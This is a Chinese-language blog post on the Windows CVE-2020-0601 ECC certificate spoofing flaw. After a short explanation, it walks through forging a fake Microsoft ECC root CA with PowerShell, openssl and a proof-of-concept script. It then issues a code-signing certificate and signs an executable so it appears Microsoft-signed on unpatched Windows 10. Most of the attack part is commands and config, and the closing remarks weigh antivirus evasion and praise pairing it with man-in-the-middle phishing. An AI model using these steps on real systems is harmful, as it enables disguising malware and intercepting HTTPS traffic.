0x00 CVE-2020-0601 漏洞原理
引用我司大佬总结:
1.基础知识:
ECC私钥+椭圆曲线=ECC公钥
2.漏洞:
微软的私钥+微软选的椭圆曲线=微软根证书里面的公钥
黑客的私钥+黑客选的椭圆曲线=微软根证书里面的公钥
不同的椭圆曲线和不同的私钥,能产生值一模一样的公钥。
win10开始默认添加了微软的ECC根证书,在做证书链验证时,会一直验证到微软根证书里面的公钥的hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值就万事大吉了,导致了黑客拿自己的私钥随便签个名,都以为是微软自己签的。
3.win7受影响吗?
win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,没法直接对比通过。
结论:Windows 7不受影响
4.XP、2003受影响吗?
ECC是个什么鬼?
5.我能跑出微软根证书里面的私钥吗?
洗洗睡吧。
0x01 CVE-2020-0601 漏洞利用
首先来看下开源的工具:
这个工具使用了 USERTrust ECC Certification Authority
的证书来进行验证。
参照这款工具生成证书,并对exe进行签名,查看签名信息如下:
由于不存在根证书,所以会看到验证并没有通过,访问网站:
https://usertrustecccertificationauthority-ev.comodoca.com/
会在系统安装根证书,这样就会让签名正常。
如果要不安装别的证书让签名正常就需要寻找系统默认信任的ECC签名的根证书。
0x02 默认ECC签名根证书测试
首先,我们来查看一下默认有哪些根证书:1
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }
可以看到这里面有3个系统默认的ECC签名的根证书。我们随意导出其中一个根证书:
cmd输入certmgr.msc打开证书管理,找到ECC签名根证书进行导出:
导出直接选择Base64编码那个就行。
使用openssl查看证书信息:1
openssl x509 -in ca.cer -text -noout
查看gen-key.py
及README,这里我们需要提取证书的公钥 Public Key 和序列号Serial Number 以及Subject。
为了方便提取,可以使用powershell,这样就把所需要的内容提取出来了1
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" } | %{[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','');$_.SerialNumber;$_.subject;"="*200}
我们随意选择一个,比如:1
04C711162A761D568EBEB96265D4C3CEB4F0C330EC8F6DD76E39BCC849ABABB8E34378D581065DEFC77D9FCED6B39075DE0CB090DE23BAC8D13E67E019A91B86311E5F342DEE17FD15FB7E278A32A1EAC98FC97E18CB2F3B2C487A7DA6F40107AC
14982666DC7CCD8F4053677BB999EC85
CN=Microsoft ECC Product Root Certificate Authority 2018, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
参照POC里面的README来进行生成:
生成key模版:1
openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit
替换gen-key.py
里面的公钥字符串。生成对应的私钥:1
python gen-key.py
使用获取的序列号和subj生成假冒的CA1
openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x14982666DC7CCD8F4053677BB999EC85 -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poratio/CN=Microsoft ECC TS Root Certificate Authority 2018"
接下来,就可以生成私钥和证书,在这里需要替换一下项目里面的openssl.cnf
为以下内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33[ req ]
default_bits = 2048 # RSA key size
encrypt_key = yes # Protect private key
default_md = sha1 # MD to use
utf8 = yes # Input is UTF-8
string_mask = utf8only # Emit UTF-8 strings
prompt = yes # Prompt for DN
distinguished_name = codesign_dn # DN template
req_extensions = codesign_reqext # Desired extensions
[ codesign_dn ]
countryName = "1. Country Name (2 letters) (eg, DK) "
countryName_max = 2
stateOrProvinceName = "2. State or Province Name (eg, Denmark) "
localityName = "3. Locality Name (eg, Copenhagen) "
organizationName = "4. Organization Name (eg, ollypwn) "
organizationalUnitName = "5. Organizational Unit Name (eg, ollypwn) "
commonName = "6. Common Name (eg, Olly Pwn)"
commonName_max = 64
[ codesign_reqext ]
basicConstraints = CA:FALSE
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning
subjectKeyIdentifier = hash
[ usr_cert ]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
extendedKeyUsage = codeSigning
[ v3_req ]
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning
生成:1
2
3
4
5openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poration/CN=Microsoft ECC TS Root Certificate Authority 2018"
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
将证书转换为pkcs12:1
openssl pkcs12 -export -in client-cert.pem -inkey prime256v1-privkey.pem -certfile ca-rogue.pem -out cert.p12
使用osslsigncode或者signtool签名:
1 | osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe |
如果转换为pkcs12时添加了密码,签名的时候需要指定:1
osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe -pass 123123
将签名好的EXE放到未打补丁的Win10 上面查看签名信息:
0x03 关于HTTPS劫持
HTTPS劫持需要中间人,另外需要生成所需要的证书文件,生成方法可参考项目:
结果如下图:
0x04 总结
关于此漏洞,签名的二进制文件的免杀效果一般,但是结合中间人钓鱼还是很棒的。建议小伙伴们尽快升级系统。